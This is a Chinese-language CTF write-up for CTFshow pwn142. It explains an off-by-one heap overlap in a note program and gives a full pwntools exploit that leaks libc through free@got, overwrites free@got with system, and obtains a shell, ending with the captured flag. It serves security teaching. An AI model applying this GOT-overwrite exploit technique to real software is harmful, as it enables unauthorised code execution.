CTFshow_pwn142_堆块重叠_wp

pwn142

堆块重叠
off-by-one 漏洞伪造 chunk header size 大小, free后再次malloc相同内存地址的chunk, UAF漏洞导致可以任意执行chunk content中的指令;
输出free@got address , 计算base_addr 以及 system_addr , edit_heap函数体功能修改指针指向的内存地址数据(free@got) 为 system_addr;
free第一个chunk的时候相当于执行的system,参数就是add中的’/bin/sh\x00’, getshell;


main 函数有四个功能

  • create_heap
  • edit_heap
  • show_heap
  • delete_heap

create_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 create_heap()
{
__int64 v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*((_QWORD *)&heaparray + i) )
{
*((_QWORD *)&heaparray + i) = malloc(0x10uLL);
if ( !*((_QWORD *)&heaparray + i) )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
v0 = *((_QWORD *)&heaparray + i);
*(_QWORD *)(v0 + 8) = malloc(size);
if ( !*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) )
{
puts("Allocate Error");
exit(2);
}
**((_QWORD **)&heaparray + i) = size;
printf("Content of heap:");
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}

和上一题差不多

delete_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 delete_heap()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_QWORD *)&heaparray + v1) )
{
free(*(void **)(*((_QWORD *)&heaparray + v1) + 8LL));
free(*((void **)&heaparray + v1));
*((_QWORD *)&heaparray + v1) = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

可以看到两个 malloc 的堆块都已经释放,但是指针只置空了一个(第一个 chunk),第二个 content 指针并未情况,存在 UAF 漏洞

edit_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 edit_heap()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_QWORD *)&heaparray + v1) )
{
printf("Content of heap : ");
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

大体功能就是编辑堆,修改 content chunk 内容

1
2
3
4
5
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL);

*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL) 表示content区地址
**((_QWORD **)&heaparray + v1) + 1LL 表示输入长度
!!!!!!!!! 但是这里 + 1LL , 存在off-by-one 漏洞, 可以写入比申请空间多1字节的数据

show_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 show_heap()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_QWORD *)&heaparray + v1) )
{
printf(
"Size : %ld\nContent : %s\n",
**((_QWORD **)&heaparray + v1),
*(const char **)(*((_QWORD *)&heaparray + v1) + 8LL));
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

%s 输出内容为 chunk1 存储的 chunck2的指针: *(const char **)(*((_QWORD *)&heaparray + v1) + 8LL));

++++++++++++ 堆块重叠
因为存在 off-by-one (一字节溢出), 控制好第一个 heap 的 content chunk 大小,就可以修改下一个 heap 的 chunk size 位。

malloc (add) 申请堆块

  • note1: 0x18 + 0x08 + 0x01 = 0x21
  • note2 同理: 0x18 + 0x08 + 0x01 = 0x21

通过 edit 的 off-by-one 修改 note2的header size 位 (note1 -> content 与 note2 -> head 物理相邻) 为0x41 (实际上 content 大小依然是 0x20 + 0x01)
free 掉 note1 可以发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x29a4e000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x29a4e290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x29a4e2b0
Size: 0x20 (with flag bits: 0x21)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x29a4e2d0
Size: 0x40 (with flag bits: 0x41)
fd: 0x29a4e

Top chunk | PREV_INUSE
Addr: 0x29a4e310
Size: 0x20cf0 (with flag bits: 0x20cf1)

再次 malloc 申请 0x38+0x08 (和0x41-0x01一样大小的)空间时,会把刚刚 fake 的分配上, 地址未变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x29a4e000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x29a4e290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x29a4e2b0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x29a4e2d0
Size: 0x40 (with flag bits: 0x41)

Top chunk | PREV_INUSE
Addr: 0x29a4e310
Size: 0x20cf0 (with flag bits: 0x20cf1)

注意此时为 note_3 , 但是刚刚 free 的 note_2 的 content 指针因为没有 NULL 的原因导致了 UAF 漏洞,add note_3 的时候我们又可以控制里面的内容
所以我们可以直接把 content 指针 (*(const char **)(*((_QWORD *)&heaparray + v1) + 8LL)); ) 的指令改为 free@got ,这样子就会直接输出 free 函数的 got 地址

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> telescope 0x1f18e2d0 32
00:00000x1f18e2d0 ◂— 'aaaaaaaaA'
01:00080x1f18e2d8 ◂— 0x41 /* 'A' */
02:00100x1f18e2e0 ◂— 'bbbbbbbb'
03:00180x1f18e2e8 ◂— 0
04:00200x1f18e2f0 ◂— 0
05:00280x1f18e2f8 ◂— 0x21 /* '!' */
06:00300x1f18e300 ◂— 0x38 /* '8' */
07:00380x1f18e308 —▸ 0x1f18e2e0 ◂— 'bbbbbbbb'
08:00400x1f18e310 ◂— 0
09:00480x1f18e318 ◂— 0x20cf1
0a:00500x1f18e320 ◂— 0
... ↓ 21 skipped

07:0038│ 0x1f18e308 —▸ 0x1f18e2e0 ◂— 'bbbbbbbb' 为 content 指针
02:0010│ 0x1f18e2e0 ◂— 'bbbbbbbb' 是 content 指针指向的内存地址,也是我们在 add(malloc)一个堆的时候最开始写入的地方

所以我们只需要写入(改为),然后 show(note_2)%s 就会输出 free@got 的地址 :

1
2
3
4
5
6
02:0010│  0x1f18e2e0 ◂— 0
03:0018│ 0x1f18e2e8 ◂— 0
04:0020│ 0x1f18e2f0 ◂— 0
05:0028│ 0x1f18e2f8 ◂— 0x21
06:0030│ 0x1f18e300 ◂— 0x38
07:0038│ 0x29a4e308 —▸ 0x602018 (free@got[plt]) —▸ 0x749daacadd30 (free) ◂— endbr64

到此处 payload 应该为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from LibcSearcher import *
# context(arch='i386', os='linux', log_level='debug')
context(arch='amd64', os='linux', log_level='debug')
# io = remote('pwn.challenge.ctf.show',28230)
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")

def add(size,data):
io.sendlineafter(b"Your choice :",b"1")
io.sendlineafter(b"Size of Heap : ",str(size))
io.recvuntil(b"Content of heap:")
io.send(data)

def edit(idx,data):
io.sendlineafter(b"Your choice :",b"2")
io.sendlineafter(b'Index :',str(idx))
io.recvuntil(b"Content of heap : ")
io.send(data)

def show(idx):
io.sendlineafter(b"Your choice :",b"3")
io.sendlineafter(b'Index :',str(idx))

def free(idx):
io.sendlineafter(b"Your choice :",b"4")
io.sendlineafter(b'Index :',str(idx))

free_got = elf.got['free']
add(0x18,b'aaaaaaaa') # 0x20
add(0x18,b'aaaaaaaa') # 0x20
edit(0,b'/bin/sh\x00' + b'a'*0x10 + p64(0x41)) # off-by-one 修改 malloc(1) 的 header size 大小 fake 0x41
free(1) # 0x40 -> free bins
add(0x38,p64(0) * 3 + p64(0x21) + p64(0x30) + p64(free_got)) # 修改指针为free@got
show(1) # show_heap 函数体 %s 输出篡改的指针 也就是free@got 的值
free_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("+++++++++++++++++++ free_addr: ",hex(free_addr))

io.interactive()

Output:

1
+++++++++++++++++++ free_addr:  0x7f0776974910

接下来就是常规的 ret2libc 套路,计算出 base_addr 然后计算出 system_addr (因为我们要篡改 index->content) 的内容为 system_addr
也就是修改 free@got -> system_addr

1
2
3
4
5
libc_base = free_addr - libc.sym['free']
system_addr = libc_base + libc.sym['system']
print("+++++++++++++++++++ system_addr: ",hex(system_addr))
edit(1,p64(system_addr))
free(0)

+++++++++ 补充:
在 free(0) 中,会先 free note->content 也就是数据块,再释放控制块(note); 所以当时我们写入的 /bin/sh\x00 就会被当作 system() 的参数执行

1
2
3
free(note1_content)
->
system('/bin/sh')

完整 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from LibcSearcher import *
# context(arch='i386', os='linux', log_level='debug')
context(arch='amd64', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show',28235)
# io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc/libc.so.6")

def add(size,data):
io.sendlineafter(b"Your choice :",b"1")
io.sendlineafter(b"Size of Heap : ",str(size))
io.recvuntil(b"Content of heap:")
io.send(data)

def edit(idx,data):
io.sendlineafter(b"Your choice :",b"2")
io.sendlineafter(b'Index :',str(idx))
io.recvuntil(b"Content of heap : ")
io.send(data)

def show(idx):
io.sendlineafter(b"Your choice :",b"3")
io.sendlineafter(b'Index :',str(idx))

def free(idx):
io.sendlineafter(b"Your choice :",b"4")
io.sendlineafter(b'Index :',str(idx))

free_got = elf.got['free']
add(0x18,b'aaaaaaaa') # 0x20
add(0x18,b'aaaaaaaa') # 0x20
edit(0,b'/bin/sh\x00' + b'a'*0x10 + p64(0x41)) # off-by-one 修改 malloc(1) 的 header size 大小 fake 0x41
free(1) # 0x40 -> free bins
add(0x38,p64(0) * 3 + p64(0x21) + p64(0x30) + p64(free_got)) # 修改指针为free@got
show(1) # show_heap 函数体 %s 输出篡改的指针 也就是free@got 的值
free_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("+++++++++++++++++++ free_addr: ",hex(free_addr))

libc_base = free_addr - libc.sym['free']
system_addr = libc_base + libc.sym['system']
print("+++++++++++++++++++ system_addr: ",hex(system_addr))
edit(1,p64(system_addr))
free(0)

io.interactive()
1
2
3
4
5
6
7
$ cat /ctf*
[DEBUG] Sent 0xa bytes:
b'cat /ctf*\n'
[DEBUG] Received 0x2e bytes:
b'ctfshow{a70d4141-5456-4cc8-847a-b7a8668509b5}\n'
ctfshow{a70d4141-5456-4cc8-847a-b7a8668509b5}
$